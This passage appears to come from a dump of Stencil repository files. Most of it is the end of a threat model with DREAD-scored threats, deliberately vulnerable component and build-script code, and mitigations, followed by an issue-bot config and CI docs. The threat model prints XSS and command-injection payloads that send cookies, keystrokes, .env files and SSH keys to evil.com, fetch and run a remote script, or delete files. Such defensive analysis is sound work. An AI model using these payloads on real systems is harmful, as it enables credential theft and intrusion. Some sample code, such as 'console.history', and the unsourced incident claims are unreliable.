handleClick() {\n    // VULNERABLE - CPU-intensive operation on every click\n    for (let i = 0; i < 10000000; i++) {\n      Math.sqrt(Math.random() * 1000000);\n    }\n  }\n}\n```\n\n**Example Attack:**\n```html\n<!-- Trigger DoS via component properties -->\n<vulnerable-list items='[\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\"]'></vulnerable-list>\n\n<script>\n// Programmatic DoS attack\nconst list = document.querySelector('vulnerable-list');\n\n// Trigger infinite loop\nlist.items = ['malicious', 'payload'];\n\n// Memory exhaustion attack\nlist.items = new Array(1000000).fill('heavy-data');\n\n// CPU exhaustion through events\nsetInterval(() => {\n  list.click();\n}, 1);\n</script>\n```\n\n**Attack Vectors:**\n- Malicious URL parameters that trigger vulnerable component logic\n- Form inputs designed to cause infinite processing\n- WebSocket messages containing DoS payloads\n- Social engineering to get users to visit malicious pages\n\n**Impact:**\n- Browser becomes unresponsive or crashes\n- Complete denial of service for legitimate users\n- Mobile devices may experience battery drain or overheating\n- Can affect entire browser session, not just the single tab\n\n| Score | Rationale |\n|-------|-----------|\n| **Damage** | 5 | Browser becomes unresponsive, poor user experience |\n| **Reproducibility** | 8 | Reproducible with specific component interactions |\n| **Exploitability** | 5 | Requires understanding of component behavior |\n| **Affected Users** | 10 | All users of the application |\n| **Discoverability** | 8 | Performance issues are noticeable during testing |\n\n**DREAD Score: 36/50 - HIGH**\n\n#### Server-Side Rendering\n\n**Threat #10: XSS in SSR output**\n- **Category**: Tampering\n- **Description**: Cross-Site Scripting vulnerabilities in Server-Side Rendered (SSR) HTML output where malicious scripts are injected during the pre-rendering process and served to all users. This is particularly dangerous because the malicious content is generated on the trusted server and served as static HTML, making it appear legitimate and bypassing some client-side XSS protections.\n\n**Attack Scenarios:**\n1. **Database poisoning**: Malicious scripts stored in backend database and rendered during SSR\n2. **API data injection**: External APIs returning malicious payloads that get SSR rendered\n3. **Template injection**: Exploiting server-side template processing to inject scripts\n4. **Build-time injection**: Malicious content introduced during the SSR build process\n\n**Example Vulnerable SSR Code:**\n```typescript\n// Server-side rendering component\n@Component({\n  tag: 'blog-post'\n})\nexport class BlogPost {\n  @Prop() title: string;\n  @Prop() content: string;\n  @Prop() authorBio: string;\n  \n  render() {\n    return (\n      <article>\n        {/* VULNERABLE - Title from database not sanitized */}\n        <h1 innerHTML={this.title}></h1>\n        \n        {/* VULNERABLE - User-generated content in SSR */}\n        <div innerHTML={this.content}></div>\n        \n        {/* VULNERABLE - Author bio with HTML injection */}\n        <footer innerHTML={this.authorBio}></footer>\n        \n        {/* VULNERABLE - Direct template injection */}\n        <script>{`window.postData = ${JSON.stringify({\n          title: this.title,      // Can break out of JSON context\n          author: this.authorBio  // Unescaped content\n        })};`}</script>\n      </article>\n    );\n  }\n}\n\n// SSR rendering process\nexport async function renderBlogPost(postId: string) {\n  // VULNERABLE - No sanitization of database content\n  const post = await database.getPost(postId);\n  \n  return renderToString(\n    <blog-post \n      title={post.title}           // Malicious content from DB\n      content={post.content}       // User-generated content\n      author-bio={post.authorBio}  // Untrusted author data\n    />\n  );\n}\n```\n\n**Example Attack Payloads:**\n```html\n<!-- Stored in database title field -->\n<script>\n  // Steal authentication cookies\n  fetch('https://evil.com/steal', {\n    method: 'POST',\n    body: 'cookies=' + document.cookie\n  });\n</script>\n\n<!-- In blog post content -->\n<img src=\"x\" onerror=\"\n  // Keylogger injection\n  document.addEventListener('keypress', (e) => {\n    fetch('https://evil.com/keylog', {\n      method: 'POST',\n      body: e.key\n    });\n  });\n\" />\n\n<!-- JSON context breakout in authorBio -->\n\"; fetch('https://evil.com/steal?data=' + btoa(JSON.stringify(window.localStorage))); //\n```\n\n**SSR-Specific Attack Characteristics:**\n- **Persistent**: Affects all users visiting the pre-rendered page\n- **Trusted context**: Appears as legitimate server-generated content\n- **Cache amplification**: Malicious content gets cached by CDNs and browsers\n- **SEO poisoning**: Search engines may index malicious content\n\n**Real-world Impact:**\n- **2019**: Major e-commerce platform had XSS in SSR product pages affecting thousands of customers\n- **2020**: News website's SSR commenting system was exploited to inject cryptocurrency miners\n- Can lead to mass account compromise and large-scale data theft\n\n| Score | Rationale |\n|-------|-----------|\n| **Damage** | 10 | XSS in SSR affects all users receiving the pre-rendered content |\n| **Reproducibility** | 8 | Depends on server-side input validation |\n| **Exploitability** | 9 | Similar to client-side XSS but potentially more impactful |\n| **Affected Users** | 10 | All users receiving SSR content |\n| **Discoverability** | 9 | SSR output can be inspected in page source |\n\n**DREAD Score: 46/50 - CRITICAL**\n\n**Threat #11: Server-side information disclosure**\n- **Category**: Information Disclosure\n- **Description**: Sensitive server-side information being exposed in the SSR output, including database connection strings, API keys, internal error messages, file paths, environment variables, and other confidential data that should remain server-side only. This occurs when server-side rendering processes fail to properly sanitize or filter data before including it in the HTML response.\n\n**Attack Scenarios:**\n1. **Error message leakage**: Detailed error messages containing system information\n2. **Environment variable exposure**: Server environment data included in rendered output\n3. **Database information disclosure**: Connection strings or query details in output\n4. **Internal API exposure**: Internal service URLs and endpoints revealed\n5. **Source code leakage**: Server-side code or comments included in HTML\n\n**Example Vulnerable SSR Code:**\n```typescript\n// Server-side component with information disclosure\n@Component({\n  tag: 'dashboard'\n})\nexport class Dashboard {\n  @Prop() userData: any;\n  @State() debugInfo: any;\n  \n  async componentWillLoad() {\n    try {\n      // VULNERABLE - Including sensitive server data\n      this.debugInfo = {\n        dbConnection: process.env.DATABASE_URL,     // LEAKED\n        apiKeys: process.env.STRIPE_SECRET_KEY,     // LEAKED\n        internalServices: process.env.INTERNAL_API_URLS, // LEAKED\n        serverPath: __dirname,                      // LEAKED\n        nodeVersion: process.version                // LEAKED\n      };\n      \n      this.userData = await this.fetchUserData();\n    } catch (error) {\n      // VULNERABLE - Detailed error in production\n      this.debugInfo.error = {\n        stack: error.stack,                    // LEAKED - shows file paths\n        query: error.query,                    // LEAKED - database queries\n        connectionString: error.connectionString // LEAKED\n      };\n    }\n  }\n  \n  private async fetchUserData() {\n    // Simulate database error\n    throw new Error(`Database connection failed: ${process.env.DB_HOST}:${process.env.DB_PORT}`);\n  }\n  \n  render() {\n    return (\n      <div>\n        <h1>User Dashboard</h1>\n        \n        {/* VULNERABLE - Debug info in production */}\n        {process.env.NODE_ENV !== 'production' && (\n          <pre>{JSON.stringify(this.debugInfo, null, 2)}</pre>\n        )}\n        \n        {/* VULNERABLE - Server data in HTML comments */}\n        <!-- Server Info: {JSON.stringify(this.debugInfo)} -->\n        \n        {/* VULNERABLE - Error details exposed */}\n        {this.debugInfo?.error && (\n          <div class=\"error\">\n            <h2>Error Details:</h2>\n            <pre>{this.debugInfo.error.stack}</pre>\n            <p>Query: {this.debugInfo.error.query}</p>\n          </div>\n        )}\n      </div>\n    );\n  }\n}\n```\n\n**Example of Leaked Information in HTML:**\n```html\n<!-- Generated SSR output containing sensitive data -->\n<div>\n  <h1>User Dashboard</h1>\n  \n  <!-- Server Info: {\n    \"dbConnection\": \"postgresql://admin:secret123@internal-db.company.com:5432/production\",\n    \"apiKeys\": \"sk_live_abc123def456ghi789\",\n    \"internalServices\": \"https://internal-api.company.com/v1\",\n    \"serverPath\": \"/opt/app/dist/server\",\n    \"error\": {\n      \"stack\": \"Error: Database connection failed: internal-db.company.com:5432\\n    at /opt/app/server/components/dashboard.js:45:12\",\n      \"query\": \"SELECT * FROM users WHERE api_key = 'sk_live_abc123def456ghi789'\",\n      \"connectionString\": \"postgresql://admin:secret123@internal-db.company.com:5432/production\"\n    }\n  } -->\n  \n  <div class=\"error\">\n    <h2>Error Details:</h2>\n    <pre>Error: Database connection failed: internal-db.company.com:5432\n    at /opt/app/server/components/dashboard.js:45:12\n    at processTicksAndRejections (internal/process/task_queues.js:93:5)</pre>\n    <p>Query: SELECT * FROM users WHERE api_key = 'sk_live_abc123def456ghi789'</p>\n  </div>\n</div>\n```\n\n**Attack Exploitation:**\n```bash\n# Attacker views page source to extract sensitive data\ncurl -s https://app.com/dashboard | grep -E \"(password|key|secret|database|internal)\"\n\n# Automated scanning for information disclosure\ngrep -r \"process.env\\|__dirname\\|DATABASE_URL\" view-source:https://app.com/\n```\n\n**Real-world Impact:**\n- **2018**: Major SaaS provider exposed database credentials in SSR error pages\n- **2020**: E-commerce site leaked internal API endpoints enabling further attacks\n- Exposed API keys can lead to financial fraud and service abuse\n- Database credentials enable complete data breaches\n\n| Score | Rationale |\n|-------|-----------|\n| **Damage** | 9 | Server-side secrets, database connection strings, or internal errors exposed |\n| **Reproducibility** | 5 | Depends on error handling implementation |\n| **Exploitability** | 8 | Can trigger errors through various inputs |\n| **Affected Users** | 10 | All users can see the leaked information |\n| **Discoverability** | 8 | Error messages and debug info often visible in HTML source |\n\n**DREAD Score: 40/50 - CRITICAL**\n\n**Threat #12: Server-side denial of service**\n- **Category**: Denial of Service\n- **Description**: Malicious input or requests causing resource exhaustion during server-side rendering, leading to server downtime and service unavailability. This can occur through computationally expensive rendering operations, memory exhaustion, infinite loops, or overwhelming the server with resource-intensive SSR requests.\n\n**Attack Scenarios:**\n1. **Computational exhaustion**: Requests that trigger CPU-intensive rendering operations\n2. **Memory exhaustion**: Rendering operations that consume excessive memory\n3. **Infinite loops**: Malicious data causing endless processing cycles\n4. **Concurrent request flooding**: Multiple simultaneous resource-intensive SSR requests\n\n**Example Vulnerable SSR Code:**\n```typescript\n@Component({\n  tag: 'data-visualizer'\n})\nexport class DataVisualizer {\n  @Prop() dataset: any[];\n  @Prop() iterations: number;\n  \n  async componentWillLoad() {\n    // VULNERABLE - No input validation\n    await this.processLargeDataset();\n  }\n  \n  private async processLargeDataset() {\n    // VULNERABLE - No bounds checking\n    for (let i = 0; i < this.iterations; i++) {\n      // VULNERABLE - Potentially infinite loop\n      this.dataset.forEach(item => {\n        // CPU-intensive operation\n        this.heavyComputation(item);\n      });\n    }\n  }\n  \n  private heavyComputation(data: any) {\n    // VULNERABLE - No timeout or limits\n    const results = [];\n    for (let i = 0; i < data.size; i++) {\n      results.push(this.expensiveOperation(data));\n    }\n    return results;\n  }\n  \n  render() {\n    return (\n      <div>\n        {/* VULNERABLE - Rendering massive arrays */}\n        {this.dataset.map((item, index) => (\n          <div key={index}>\n            {/* VULNERABLE - Nested expensive rendering */}\n            {Array(item.multiplier).fill(0).map((_, i) => (\n              <complex-chart data={item} index={i} />\n            ))}\n          </div>\n        ))}\n      </div>\n    );\n  }\n}\n```\n\n**Example Attack Requests:**\n```http\nPOST /api/render HTTP/1.1\nContent-Type: application/json\n\n{\n  \"component\": \"data-visualizer\",\n  \"props\": {\n    \"dataset\": [\n      {\"size\": 1000000, \"multiplier\": 1000},\n      {\"size\": 1000000, \"multiplier\": 1000},\n      {\"size\": 1000000, \"multiplier\": 1000}\n    ],\n    \"iterations\": 999999999\n  }\n}\n```\n\n**Automated DoS Attack:**\n```bash\n# Flood server with resource-intensive requests\nfor i in {1..100}; do\n  curl -X POST https://app.com/api/render \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\n      \"component\": \"data-visualizer\",\n      \"props\": {\n        \"dataset\": [{\"size\": 10000000, \"multiplier\": 1000}],\n        \"iterations\": 100000\n      }\n    }' &\ndone\n```\n\n**Impact:**\n- Server becomes unresponsive or crashes\n- Service unavailability for all users\n- Potential infrastructure costs from resource consumption\n- Can affect entire application, not just SSR functionality\n\n| Score | Rationale |\n|-------|-----------|\n| **Damage** | 8 | Server becomes unresponsive, affects all users |\n| **Reproducibility** | 7.5 | Requires crafting specific resource-intensive inputs |\n| **Exploitability** | 5 | Requires understanding of SSR resource consumption |\n| **Affected Users** | 10 | All users of the SSR application |\n| **Discoverability** | 8 | Resource usage patterns can be observed |\n\n**DREAD Score: 38.5/50 - HIGH**\n\n#### CLI\n\n**Threat #13: Argument injection**\n- **Category**: Tampering\n- **Description**: Malicious injection of command-line arguments into the Stencil CLI to execute unintended operations, access unauthorized files, or manipulate the build process. This can occur when user input is improperly sanitized before being passed to CLI commands, or when build scripts dynamically construct CLI arguments from untrusted sources.\n\n**Attack Scenarios:**\n1. **Build script injection**: Malicious arguments injected through build configurations\n2. **CI/CD pipeline exploitation**: Compromised environment variables affecting CLI arguments\n3. **Plugin argument manipulation**: Third-party plugins passing malicious arguments\n4. **Dynamic argument construction**: Unsafe construction of CLI commands from user input\n\n**Example Vulnerable Code:**\n```javascript\n// Vulnerable build script\nconst stencilConfig = JSON.parse(process.env.STENCIL_CONFIG || '{}');\n\n// VULNERABLE - No argument sanitization\nconst command = `stencil build --config ${stencilConfig.configPath} --output ${stencilConfig.outputDir}`;\n\n// VULNERABLE - Direct argument injection\nexec(command, (error, stdout, stderr) => {\n  if (error) {\n    console.error(`Error: ${error}`);\n    return;\n  }\n  console.log(stdout);\n});\n\n// VULNERABLE - User-controlled file paths\nfunction buildWithCustomConfig(userProvidedConfig) {\n  const args = [\n    'build',\n    '--config',\n    userProvidedConfig,  // VULNERABLE - No validation\n    '--serve',\n    '--watch'\n  ];\n  \n  spawn('stencil', args);\n}\n```\n\n**Example Attack Payloads:**\n```bash\n# Environment variable injection\nSTENCIL_CONFIG='{\"configPath\": \"config.ts; cat /etc/passwd #\", \"outputDir\": \"dist\"}'\n\n# Argument injection via config path\nuserProvidedConfig = \"config.ts --serve --watch --host 0.0.0.0 --port 8080; rm -rf /important-files; #\"\n\n# Command injection through build arguments\nstencil build --config \"config.ts; curl -X POST https://evil.com/steal -d @.env; #\"\n\n# File path manipulation\nstencil build --config ../../sensitive-config.ts --output /tmp/stolen-build\n\n# Plugin argument injection\nstencil build --config config.ts --plugin \"evil-plugin; wget https://evil.com/malware.sh && chmod +x malware.sh && ./malware.sh\"\n```\n\n**Real Attack Example:**\n```javascript\n// Malicious CI/CD configuration\n{\n  \"scripts\": {\n    \"build\": \"stencil build --config config.ts\",\n    \"deploy\": \"stencil build --config $BUILD_CONFIG --output $OUTPUT_DIR\"\n  }\n}\n\n// Attacker sets environment variables:\n// BUILD_CONFIG=\"config.ts; export AWS_ACCESS_KEY_ID=stolen; export AWS_SECRET_ACCESS_KEY=stolen; aws s3 cp . s3://evil-bucket --recursive; #\"\n// OUTPUT_DIR=\"dist; cat ~/.ssh/id_rsa | curl -X POST https://evil.com/steal -d @-; #\"\n```\n\n**Impact:**\n- Arbitrary command execution on build servers\n- Theft of sensitive files and credentials\n- Unauthorized access to development infrastructure\n- Supply chain attacks through compromised builds\n\n| Score | Rationale |\n|-------|-----------|\n| **Damage** | 9 | Could execute arbitrary commands on developer machine |\n| **Reproducibility** | 5 | Requires specific argument combinations |\n| **Exploitability** | 2.5 | Requires deep understanding of CLI internals |\n| **Affected Users** | 2.5 | Individual developer affected |\n| **Discoverability** | 5 | CLI help and documentation reveal argument structure |\n\n**DREAD Score: 24/50 - MEDIUM**\n\n**Threat #14: Information disclosure via logging**\n- **Category**: Information Disclosure\n- **Description**: Sensitive information being inadvertently logged to console output, log files, or CI/CD build logs where it can be accessed by unauthorized parties. This includes API keys, authentication tokens, database credentials, user data, and internal system information that gets captured in various logging systems.\n\n**Attack Scenarios:**\n1. **Console logging**: Sensitive data logged to browser console or terminal output\n2. **CI/CD log exposure**: Credentials visible in build logs on CI/CD platforms\n3. **Debug logging**: Development debug statements left in production code\n4. **Error logging**: Detailed error messages containing sensitive information\n5. **Third-party logging**: Logging services inadvertently capturing sensitive data\n\n**Example Vulnerable Code:**\n```typescript\n@Component({\n  tag: 'secure-api-client'\n})\nexport class SecureApiClient {\n  @Prop() apiKey: string;\n  @State() userData: any;\n  \n  async componentWillLoad() {\n    // VULNERABLE - API key logged to console\n    console.log('Initializing API client with key:', this.apiKey);\n    \n    try {\n      const response = await fetch('https://api.example.com/user', {\n        headers: {\n          'Authorization': `Bearer ${this.apiKey}`,\n          'X-User-Token': localStorage.getItem('userToken')\n        }\n      });\n      \n      this.userData = await response.json();\n      \n      // VULNERABLE - Sensitive user data logged\n      console.log('User data received:', this.userData);\n      \n    } catch (error) {\n      // VULNERABLE - Error logs may contain sensitive data\n      console.error('API Error:', error);\n      console.error('Request details:', {\n        apiKey: this.apiKey,\n        userToken: localStorage.getItem('userToken'),\n        userData: this.userData\n      });\n    }\n  }\n  \n  private async debugAPI() {\n    // VULNERABLE - Debug logging with credentials\n    console.group('API Debug Information');\n    console.log('Environment:', process.env.NODE_ENV);\n    console.log('API Key:', this.apiKey);\n    console.log('Database URL:', process.env.DATABASE_URL);\n    console.log('JWT Secret:', process.env.JWT_SECRET);\n    console.log('User session:', localStorage.getItem('session'));\n    console.groupEnd();\n  }\n  \n  render() {\n    return (\n      <div>\n        <button onClick={() => this.debugAPI()}>Debug API</button>\n        {/* VULNERABLE - Sensitive data in DOM for debugging */}\n        {process.env.NODE_ENV === 'development' && (\n          <pre>{JSON.stringify({\n            apiKey: this.apiKey,\n            userData: this.userData,\n            env: process.env\n          }, null, 2)}</pre>\n        )}\n      </div>\n    );\n  }\n}\n```\n\n**Example Build Script Logging:**\n```javascript\n// Vulnerable build configuration\nexport const config: Config = {\n  outputTargets: [{ type: 'www' }],\n  plugins: [\n    {\n      name: 'debug-plugin',\n      buildStart() {\n        // VULNERABLE - Environment variables logged\n        console.log('Build environment:', process.env);\n        console.log('API Keys:', {\n          stripe: process.env.STRIPE_SECRET_KEY,\n          aws: process.env.AWS_SECRET_ACCESS_KEY,\n          db: process.env.DATABASE_PASSWORD\n        });\n      }\n    }\n  ]\n};\n```\n\n**Example CI/CD Log Exposure:**\n```yaml\n# GitHub Actions workflow - VULNERABLE\nname: Build and Deploy\non: [push]\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v2\n    - name: Setup Node\n      uses: actions/setup-node@v2\n    - name: Install dependencies\n      run: npm install\n    - name: Build\n      run: |\n        echo \"Building with API key: ${{ secrets.API_KEY }}\"  # VULNERABLE\n        echo \"Database URL: ${{ secrets.DATABASE_URL }}\"      # VULNERABLE\n        npm run build\n      env:\n        API_KEY: ${{ secrets.API_KEY }}\n        DATABASE_URL: ${{ secrets.DATABASE_URL }}\n```\n\n**Attack Exploitation:**\n```bash\n# Attacker accesses CI/CD logs\ncurl -H \"Authorization: token $GITHUB_TOKEN\" \\\n  https://api.github.com/repos/owner/repo/actions/runs/123/logs\n\n# Browser console inspection\n# Attacker opens browser dev tools and looks for logged sensitive data\nconsole.log('Searching for sensitive data...');\nconsole.history.forEach(entry => {\n  if (entry.includes('key') || entry.includes('token') || entry.includes('password')) {\n    console.log('Found sensitive data:', entry);\n  }\n});\n```\n\n**Real-world Impact:**\n- **2019**: Travis CI logs exposed AWS credentials for thousands of repositories\n- **2020**: GitHub Actions logs leaked database credentials for major e-commerce platform\n- **2021**: Slack bot logs exposed user authentication tokens affecting 500,000+ users\n- Log aggregation services may retain sensitive data for extended periods\n\n| Score | Rationale |\n|-------|-----------|\n| **Damage** | 8 | API keys, tokens, or credentials exposed in logs |\n| **Reproducibility** | 8 | Reproducible when sensitive data is processed |\n| **Exploitability** | 9 | Logs are easily accessible, no special tools needed |\n| **Affected Users** | 2.5 | Individual developer and CI/CD systems |\n| **Discoverability** | 10 | Console output and log files are easily inspectable |\n\n**DREAD Score: 37.5/50 - HIGH**\n\n### 3. Threat Prioritization\n\nBased on the DREAD scoring system, threats are classified as follows:\n\n- **Critical (40-50 points)**: Immediate attention required\n- **High (25-39 points)**: High priority for remediation  \n- **Medium (11-24 points)**: Moderate priority\n- **Low (1-10 points)**: Low priority\n\n#### Critical Priority Threats:\n1. **Threat #2**: Information disclosure of environment variables (48/50)\n2. **Threat #7**: Cross-Site Scripting (XSS) (46/50)\n3. **Threat #10**: XSS in SSR output (46/50)\n4. **Threat #1**: Arbitrary code execution via malicious configuration (43/50)\n5. **Threat #4**: Directory traversal attack (42.5/50)\n6. **Threat #11**: Server-side information disclosure (40/50)\n\n#### High Priority Threats:\n7. **Threat #12**: Server-side denial of service (38.5/50)\n8. **Threat #8**: Information disclosure via component state (38/50)\n9. **Threat #6**: Resource exhaustion (37.5/50)\n10. **Threat #14**: Information disclosure via logging (37.5/50)\n11. **Threat #9**: Client-side denial of service (36/50)\n12. **Threat #5**: Malicious WebSocket connection (32/50)\n13. **Threat #3**: Denial of service via malformed input (28.5/50)\n\n#### Medium Priority Threats:\n14. **Threat #13**: Argument injection (24/50)\n\n### 4. Threat Mitigation\n\nThis section outlines potential and existing mitigations for the identified threats.\n\n#### Compiler\n\n**Threat #1: Arbitrary code execution via malicious configuration or plugins**\n*   **Mitigation**:\n    *   Stencil's configuration is a TypeScript file (`stencil.config.ts`), which offers some type safety but does not prevent arbitrary code execution. Developers are responsible for trusting the code and plugins they use.\n    *   **Recommendation**: Run Stencil in a sandboxed environment (like a Docker container) during CI/CD to limit the blast radius of a compromised build script. Use tools like `npm audit` to check for vulnerable dependencies.\n\n**Threat #2: Information disclosure of environment variables**\n*   **Mitigation**:\n    *   Stencil replaces `process.env.NODE_ENV` but does not expose other environment variables by default.\n    *   **Recommendation**: Developers should be careful not to manually expose sensitive environment variables in their `stencil.config.ts` or application code.\n\n**Threat #3: Denial of service via malformed input**\n*   **Mitigation**:\n    *   **Recommendation**: Implement input validation and error handling in the compiler to gracefully handle malformed input files. Add timeouts for compilation processes to prevent infinite loops.\n\n#### Dev Server\n\n**Threat #4: Directory traversal attack**\n*   **Mitigation**: The dev server should sanitize file paths and prevent access to files outside of the project root.\n    *   **Finding (CVE-pending)**: The dev server is vulnerable to a directory traversal attack. The `normalizeHttpRequest` function in `src/dev-server/request-handler.ts` computes a file path from the request URL. This path is not properly sanitized or checked against the server's root directory. An attacker on the same network can craft a URL (e.g., `http://<ip>:<port>/../../etc/passwd`) to read arbitrary files on the developer's machine. The functions `serveFile` and `serveDirectoryIndex` use this path to read from the file system, leading to the vulnerability.\n    *   **Recommendation**: Add a check in `src/dev-server/request-handler.ts` to ensure the resolved file path is located within the configured `root` directory before attempting to access the file system.\n\n**Threat #5: Malicious WebSocket connection**\n*   **Mitigation**: The WebSocket server should validate the `Origin` header to ensure it's a trusted source.\n    *   **Recommendation**: Implement Origin header validation for WebSocket connections and use authentication tokens for HMR communications.\n\n**Threat #6: Resource exhaustion**\n*   **Mitigation**: Implement rate limiting and resource monitoring for the dev server.\n    *   **Recommendation**: Add request rate limiting, connection limits, and monitoring for unusual traffic patterns.\n\n#### Client-side Runtime & SSR\n\n**Threat #7: Cross-Site Scripting (XSS)**\n*   **Mitigation**:\n    *   Stencil uses JSX, which automatically escapes data bindings to prevent XSS, similar to React.\n    *   **Recommendation**: Developers should avoid using `innerHTML` with untrusted content. When it's necessary, they must sanitize the HTML.\n\n**Threat #8: Information disclosure via component state**\n*   **Mitigation**:\n    *   **Recommendation**: Implement proper data handling practices, avoid storing sensitive data in component state, and use secure communication channels for sensitive operations.\n\n**Threat #9: Client-side denial of service**\n*   **Mitigation**:\n    *   **Recommendation**: Implement performance monitoring, use efficient algorithms, and add safeguards against infinite loops in component logic.\n\n**Threat #10: XSS in SSR output**\n*   **Mitigation**:\n    *   **Recommendation**: For SSR, the same sanitization principles apply and are even more critical as the content is generated on a trusted server. Implement server-side input validation and output encoding.\n\n**Threat #11: Server-side information disclosure**\n*   **Mitigation**:\n    *   **Recommendation**: Implement proper error handling that doesn't expose internal details, use environment-specific configurations, and sanitize all output.\n\n**Threat #12: Server-side denial of service**\n*   **Mitigation**:\n    *   **Recommendation**: Implement resource limits, request timeouts, input validation, and monitoring for resource-intensive operations.\n\n#### CLI\n\n**Threat #13: Argument injection**\n*   **Mitigation**:\n    *   **Recommendation**: Implement proper argument validation and sanitization, use parameterized commands, and avoid dynamic command construction.\n\n**Threat #14: Information disclosure via logging**\n*   **Mitigation**:\n    *   **Recommendation**: Implement secure logging practices, filter sensitive data from logs, and use structured logging with appropriate log levels.\n\n#### General Recommendations\n\n*   **Keep Dependencies Updated**: Regularly update project dependencies to patch known vulnerabilities.\n*   **Secure Coding Practices**: Developers using Stencil should follow standard secure coding practices for web applications.\n*   **Input Validation**: All data, whether from users, files, or network requests, should be validated and sanitized. "
  },
  {
    "path": ".github/ionic-issue-bot.yml",
    "content": "triage:\n  label: triage\n  dryRun: false\n\ncloseAndLock:\n  labels:\n    - label: 'ionitron: support'\n      message: >\n        Thanks for the issue! This issue appears to be a support request. We use this issue tracker exclusively for\n        bug reports and feature requests. Please use our [Discord server](https://chat.stenciljs.com)\n        for questions about Stencil.\n\n\n        Thank you for using Stencil!\n    - label: 'ionitron: missing template'\n      message: >\n        Thanks for the issue! It appears that you have not filled out the provided issue template. We use this issue\n        template in order to gather more information and further assist you. Please create a new issue and ensure the\n        template is fully filled out.\n\n\n        Thank you for using Stencil!\n  close: true\n  lock: true\n  dryRun: false\n\ncomment:\n  labels:\n    - label: 'ionitron: needs reproduction'\n      message: >\n        Thanks for the issue! This issue has been labeled as `needs reproduction`. This label is added to issues that\n        need a code reproduction.\n\n\n        Please reproduce this issue in an Stencil starter component library and provide a way for us to access it\n        (GitHub repo, StackBlitz, etc). Without a reliable code reproduction, it is unlikely we will be able to resolve\n        the issue, leading to it being closed.\n\n\n        If you have already provided a code snippet and are seeing this message, it is likely that the code snippet was\n        not enough for our team to reproduce the issue.\n\n\n        For a guide on how to create a good reproduction, see our\n        [Contributing Guide](https://github.com/stenciljs/core/blob/main/CONTRIBUTING.md).\n  dryRun: false\n\nnoReply:\n  maxIssuesPerRun: 100\n  includePullRequests: false\n  label: Awaiting Reply\n  close: false\n  lock: false\n  dryRun: false\n\nnoReproduction:\n  days: 14\n  maxIssuesPerRun: 100\n  label: 'ionitron: needs reproduction'\n  responseLabel: triage\n  exemptProjects: true\n  exemptMilestones: true\n  message: >\n    Thanks for the issue! This issue is being closed due to the lack of a code reproduction. If this is still\n    an issue with the latest version of Stencil, please create a new issue and ensure the template is fully filled out.\n\n\n    Thank you for using Stencil!\n  close: true\n  lock: true\n  dryRun: false\n\nstale:\n  days: 30\n  maxIssuesPerRun: 100\n  exemptLabels:\n    - 'Bug: Validated'\n    - 'Feature: Want this? Upvote it!'\n    - good first issue\n    - help wanted\n    - Request For Comments\n    - 'Resolution: Needs Investigation'\n    - 'Resolution: Refine'\n    - triage\n  exemptAssigned: true\n  exemptProjects: true\n  exemptMilestones: true\n  label: 'ionitron: stale issue'\n  message: >\n    Thanks for the issue! This issue is being closed due to inactivity. If this is still\n    an issue with the latest version of Stencil, please create a new issue and ensure the\n    template is fully filled out.\n\n\n    Thank you for using Stencil!\n  close: true\n  lock: true\n  dryRun: false\n\nwrongRepo:\n  repos:\n    - label: 'ionitron: cli'\n      repo: ionic-cli\n      message: >\n        Thanks for the issue! We use this issue tracker exclusively for bug reports and feature requests\n        associated with Stencil. It appears that this issue is associated with the Ionic CLI.\n        I am moving this issue to the Ionic CLI repository. Please track this issue over there.\n\n\n        Thank you for using Stencil!\n    - label: 'ionitron: ionic'\n      repo: ionic\n      message: >\n        Thanks for the issue! We use this issue tracker exclusively for bug reports and feature requests\n        associated with Stencil. It appears that this issue is associated with the Ionic Framework.\n        I am moving this issue to the Ionic Framework repository. Please track this issue over there.\n\n\n        Thank you for using Stencil!\n  close: true\n  lock: true\n  dryRun: false\n"
  },
  {
    "path": ".github/reproduire/needs-reproduction.md",
    "content": "We need a minimal reproduction to be able to triage this issue.\n\n### Why do we need a minimal reproduction?\n\nReproductions allow the team to triage and fix issues quickly with a tiny team. They help us identify the source of the problem and verify that the issue is not caused by something specific to your project.\n\n### How can I create a reproduction?\n\nPlease use our [Stencil Starter](https://codesandbox.io/p/github/johnjenkins/stencil-starter/) to create a minimal reproduction.\n\n<details>\n<summary>Other starter templates</summary>\n\n| Template | CodeSandbox |\n|----------|-------------|\n| Stencil + Vitest | [stencil-starter-vitest](https://codesandbox.io/p/github/johnjenkins/stencil-starter-vitest/) |\n| Angular | [stencil-angular-starter](https://codesandbox.io/p/github/johnjenkins/stencil-angular-starter/) |\n| NextJs | [stencil-starter-next](https://codesandbox.io/p/github/johnjenkins/stencil-starter-next/) |\n| React | [stencil-starter-react](https://codesandbox.io/p/github/johnjenkins/stencil-starter-react/) |\n| Vue | [stencil-starter-vue](https://codesandbox.io/p/github/johnjenkins/stencil-starter-vue/) |\n\n</details>\n\nA reproduction should be **as minimal as possible**. This means removing any code that is not directly related to the issue. The less code there is, the easier it is to identify the problem.\n\nYou can also provide a link to a public GitHub repository that demonstrates the issue.\n\n### What happens next?\n\n- If you provide a valid reproduction link, this issue will be triaged and addressed based on priority.\n- If no reproduction is provided within **14 days**, this issue may be automatically closed.\n- You can always reopen the issue by providing a reproduction link.\n\n---\n\n**Resources:**\n- [How to create a Minimal, Reproducible Example](https://stackoverflow.com/help/minimal-reproducible-example)\n- [The Importance of Reproductions](https://antfu.me/posts/why-reproductions-are-required)\n"
  },
  {
    "path": ".github/workflows/README.md",
    "content": "# Stencil Continuous Integration (CI)\n\nContinuous integration (CI) is an important aspect of any project, and is used to verify and validate the changes to the\ncodebase work as intended, to avoid introducing regressions (bugs), and to adhere to coding standards (e.g. formatting\nrules). It provides a consistent means of performing a series of checks over the entire codebase on behalf of the team.\n\nThis document explains Stencil's CI setup. \n\n## CI Environment\n\nStencil's CI system runs on GitHub Actions.\nGitHub Actions allow developers to declare a series of _workflows_ to run following an _event_ in the repository, or on\na set schedule.\n\nThe workflows that are run as a part of Stencil's CI process are declared as YAML files, and are stored in the same\ndirectory as this file.\nEach workflow file is explained in greater depth in the [workflows section](#workflows) of this document.\n\n## Workflows\n\nThis section describes each of Stencil's GitHub Actions workflows.\nEach of these tasks below are codified as [reusable workflows](https://docs.github.com/en/actions/using-workflows/reusing-workflows).\n\nGenerally speaking, workflows are designed to be declarative in nature.\nAs such, this section does not intend to duplicate the details of each workflow, but rather give a high level overview\nof each one and mention nuances of each.\n\n### Main 